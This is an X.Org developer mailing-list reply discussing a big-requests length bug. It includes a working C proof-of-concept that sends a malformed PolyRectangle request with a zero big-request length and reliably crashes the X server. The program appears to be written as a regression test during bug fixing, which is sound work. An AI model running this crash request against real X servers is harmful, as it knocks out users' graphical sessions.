On pondělí 25. září 2017 12:55:47 CEST Eric Anholt wrote:
> Michal Srb <m...@suse.com> writes:
> > I think if you supply valid Drawable and GC, you should get crash even
> > with little endian.
>
> I tried creating a gc against the root window and doing the drawing
> there, but the request seems to process successfully. bigreq branch
> updated with that code.
Ok, looks like PolyLine does not crash because the `int npoint` inside
ProcPolyLine becomes negative and so it doesn't actually call the rendering
function. So PolyLine can not be used to crash X server if the client has same
endianity.
You can use PolyRectangle instead. The attached program crashes my X server
reliably.
Michal Srb
/*
* Copyright © 2017 Broadcom
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include <unistd.h>
#include <stdlib.h>
#include <poll.h>
#include <xcb/xcb.h>
#include <xcb/bigreq.h>
int main(int argc, char **argv) {
// Open connection
xcb_connection_t *c = xcb_connect(0, 0);
// Create window
xcb_screen_t *screen = xcb_setup_roots_iterator(xcb_get_setup(c)).data;
xcb_window_t win = xcb_generate_id(c);
xcb_void_cookie_t create_window_cookie = xcb_create_window_checked(
c, XCB_COPY_FROM_PARENT, win, screen->root,
0, 0, 100, 100, 0,
XCB_WINDOW_CLASS_INPUT_OUTPUT, screen->root_visual, 0, 0);
xcb_map_window(c, win);
// Create GC
xcb_gcontext_t gc = xcb_generate_id(c);
xcb_void_cookie_t create_gc_cookie = xcb_create_gc(c, gc, win, 0, 0);
// Make sure big requests are enabled
xcb_big_requests_enable_cookie_t big_request_enable_cookie = xcb_big_requests_enable(c);
xcb_big_requests_enable_reply_t* big_request_enable_reply = xcb_big_requests_enable_reply(c, big_request_enable_cookie, 0);
free(big_request_enable_reply);
xcb_flush(c);
int fd = xcb_get_file_descriptor(c);
struct {
uint8_t reqtype;
uint8_t coordmode;
uint16_t length;
uint32_t length_bigreq;
uint32_t drawable;
uint32_t gc;
} polyrectangle_req = {
.reqtype = XCB_POLY_RECTANGLE,
/* This is the value that triggers the bug. */
.length_bigreq = 0,
.drawable = win,
.gc = gc
};
/* Manually write out the bad request. XCB can't help us here.*/
write(fd, &polyrectangle_req, sizeof(polyrectangle_req));
/* Block until the server has processed our mess. If the server
* crashes, the simple-xinit will return failure.
*/
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
poll(&pfd, 1, -1);
return 0;
}
_______________________________________________
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel
